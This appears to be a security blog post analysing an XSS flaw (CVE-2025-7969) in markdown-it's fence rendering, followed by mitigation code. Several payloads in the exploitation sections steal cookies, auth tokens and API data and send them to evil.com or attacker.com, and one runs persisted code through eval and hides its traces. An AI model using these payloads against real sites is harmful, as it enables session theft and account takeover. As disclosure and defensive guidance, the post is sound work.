TL;DR
Markdown-it 14.1.0 contains an XSS vulnerability (CVE-2025-7969) that enables arbitrary JavaScript execution through a fence rendering bypass. This post provides a technical deep dive into the vulnerability, exploitation techniques, and real-world impact scenarios.
Technical Analysis
The Core Vulnerability
The vulnerability exists in the library’s fence rendering logic. Markdown-it uses a naive string check in its default_rules.fence function that bypasses all security controls when highlight functions return HTML starting with <pre:
// lib/renderer.mjs lines 48-50if (highlighted.indexOf('<pre') === 0) { return highlighted + '\n' // Direct return bypasses all sanitization}Fence Rendering Mechanics
When processing fenced code blocks, the library accepts user-controlled content through custom highlight functions. The vulnerability occurs when:
- A custom
options.highlightfunction processes user input - The function returns content that starts with the string
<pre - Markdown-it bypasses all HTML escaping and sanitization
- Malicious content is injected directly into the DOM
// Vulnerable fence processing flowdefault_rules.fence = function (tokens, idx, options, env, slf) { const token = tokens[idx] // ... language processing ...
let highlighted if (options.highlight) { // User-controlled content processed here highlighted = options.highlight(token.content, langName, langAttrs) || escapeHtml(token.content) } else { highlighted = escapeHtml(token.content) // Safe path }
// THE VULNERABILITY: No validation of highlight function output if (highlighted.indexOf('<pre') === 0) { return highlighted + '\n' // Direct injection! }
// Normal safe rendering path return `<pre><code${slf.renderAttrs(token)}>${highlighted}</code></pre>\n`}The XSS Injection Chain
-
Input Phase:
- User provides fenced code block with malicious content
- Content is designed to trick highlight functions into returning
<pre-prefixed HTML
-
Processing Phase:
- Custom highlight function processes the malicious input
- Function returns HTML containing both legitimate
<pre>tags and malicious payloads
-
Bypass Phase:
- Markdown-it’s string check
highlighted.indexOf('<pre') === 0passes - All sanitization is bypassed - content returned directly
- Markdown-it’s string check
-
Injection Phase:
- Malicious HTML/JavaScript executes in browser context
- No Content Security Policy or input validation can stop it at this point
Advanced Exploitation Vectors
Direct Code Block Injection
const maliciousMarkdown = `\`\`\`javascript<pre><code>console.log("Normal code");</code></pre><img src="x" onerror="alert('XSS!')">\`\`\``;
// Highlight function that enables the vulnerabilityconst vulnerableHighlight = (str, lang, attrs) => { if (str.trim().startsWith('<pre')) { return str; // Direct return enables bypass } return `<pre><code>${str}</code></pre>`;};Event Handler Injection
const eventHandlerPayload = `\`\`\`html<pre onclick="fetch('/api/user', {credentials:'include'}).then(r=>r.json()).then(d=>fetch('//evil.com/'+btoa(JSON.stringify(d))))" style="cursor:pointer;background:#f00;color:white;padding:10px;">Click for data exfiltration</pre>\`\`\``;DOM-Based XSS Chain
// Multi-stage attack through DOM manipulationconst domChainPayload = `\`\`\`javascript<pre><code>function legitimate() { return true; }</code></pre><script>// Stage 1: Setup persistencelocalStorage.setItem('xss_payload', 'document.body.innerHTML="<h1>PWNED</h1>"');
// Stage 2: Trigger on user interactiondocument.addEventListener('click', () => { eval(localStorage.getItem('xss_payload'));});</script>\`\`\``;Bypassing Traditional Protections
-
Content Security Policy (CSP):
- Many CSP implementations allow inline event handlers
- The vulnerability occurs during markdown processing, before CSP evaluation
- Malicious content appears as “legitimate” markdown output
-
Input Sanitization:
- Traditional HTML sanitizers run after markdown processing
- The vulnerability bypasses markdown-it’s internal sanitization
- Malicious content looks like valid HTML structure
-
Server-Side Rendering:
- XSS executes during client-side hydration
- Server logs show “legitimate” markdown processing
- Difficult to detect through traditional monitoring
Exploitation Techniques
Stored XSS via Documentation Systems
// Vulnerable documentation platformapp.post('/docs/create', (req, res) => { const { content, title } = req.body;
// Process markdown with vulnerable highlight function const html = md.render(content);
// Store in database - becomes persistent XSS database.docs.insert({ title, content: html, // Stored XSS payload created: new Date() });});Reflected XSS via Live Previews
// Live markdown preview endpoint (vulnerable)app.get('/preview', (req, res) => { const markdown = req.query.content;
// Real-time processing enables reflected XSS const preview = md.render(markdown);
res.json({ preview }); // XSS in response});Supply Chain Attacks
// Malicious highlight function in compromised packageconst compromisedHighlighter = (code, lang) => { // Legitimate highlighting const result = actualHighlight(code, lang);
// Inject backdoor when specific conditions met if (code.includes('SECRET_TRIGGER')) { return `<pre><code>${result}</code></pre><img src="x" onerror="fetch('//attacker.com/harvest?data='+document.cookie)">`; }
return result;};Advanced Payload Construction
Multi-Vector Attack
const multiVectorPayload = `\`\`\`html<pre id="legit"><code>function example() { return 42; }</code></pre><style>#legit { display: none; }body::after { content: "Loading..."; position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); font-size: 24px;}</style><script>// Delayed execution to avoid detectionsetTimeout(() => { // Credential harvesting const token = localStorage.getItem('auth_token'); const session = document.cookie;
// Data exfiltration fetch('//evil.com/collect', { method: 'POST', body: JSON.stringify({ token, session, url: location.href }), headers: { 'Content-Type': 'application/json' } });
// Cover tracks document.querySelector('style').remove(); document.getElementById('legit').style.display = 'block';}, 2000);</script>\`\`\``;Mitigation Strategies
Immediate Actions
-
Upgrade markdown-it to patched version (not yet available)
Terminal window npm install markdown-it@latest -
Temporary Workarounds
// Safe highlight function wrapperfunction safeHighlight(originalHighlight) {return function(str, lang, attrs) {const result = originalHighlight(str, lang, attrs);// Never return content starting with <preif (typeof result === 'string' && result.indexOf('<pre') === 0) {// Force safe rendering pathreturn null;}return result;};}// Usageconst md = new MarkdownIt({highlight: safeHighlight(myHighlightFunction)});
Secure Implementation Patterns
-
Output Validation (simple validatons to make a point)
function validateHighlightOutput(output, originalContent) {// Reject any output that starts with HTML tagsif (/<[^>]+>/.test(output.trim().substring(0, 10))) {throw new Error('Highlight function returned unsafe HTML');}// Ensure output doesn't contain script tags or event handlersconst dangerousPatterns = [/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,/\bon\w+\s*=/gi,/javascript:/gi,/data:text\/html/gi];for (const pattern of dangerousPatterns) {if (pattern.test(output)) {throw new Error('Highlight function returned malicious content');}}return output;} -
Content Security Policy
// Strict CSP for markdown contentapp.use((req, res, next) => {res.setHeader('Content-Security-Policy', ["default-src 'self'","script-src 'self' 'unsafe-inline'", // Only if absolutely necessary"object-src 'none'","style-src 'self' 'unsafe-inline'", // For syntax highlighting"img-src 'self' data: https:","connect-src 'self'"].join('; '));next();}); -
HTML Sanitization
import DOMPurify from 'dompurify';// Always sanitize markdown outputfunction renderSafeMarkdown(content, options) {const html = md.render(content, options);// Sanitize the final HTML outputreturn DOMPurify.sanitize(html, {ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'h1', 'h2', 'h3'],ALLOWED_ATTR: ['class'],FORBID_SCRIPT: true,FORBID_TAGS: ['script', 'object', 'embed', 'link'],FORBID_ATTR: ['onerror', 'onclick', 'onload', 'onmouseover']});}
Conclusion
This vulnerability demonstrates the critical importance of output validation in markdown processing libraries. The bypass mechanism in markdown-it’s fence rendering creates a significant attack surface that affects any application using custom highlight functions.
The impact is particularly severe given markdown-it’s widespread adoption in documentation platforms, content management systems, and developer tools. Organizations should prioritize upgrading to patched versions (hopefully available soon) and implementing additional security layers.
References
- Markdown-it GitHub Repository
- MDN: Cross-site scripting (XSS)
- OWASP XSS Prevention Cheat Sheet
- CVE-2025-7969 Details
- Security Advisory
Exploit PoC
import MarkdownIt from 'markdown-it';
// Vulnerable highlight functionconst highlight = (str, lang) => { if (str.trim().startsWith('<pre')) { return str; // This enables the bypass } return `<pre><code>${str}</code></pre>`;};
const md = new MarkdownIt({ highlight });
const payload = `\`\`\`javascript<pre><code>console.log("Hello");</code></pre><img src="x" onerror="alert('XSS!')">\`\`\``;
console.log(md.render(payload));Result: XSS payload executes when the generated HTML is rendered in browser.
Impact
- Stored/Reflected/DOM-based XSS in any application using vulnerable markdown-it
- Affects documentation platforms, CMSs, and developer tools
- CVE reserved: CVE-2025-7969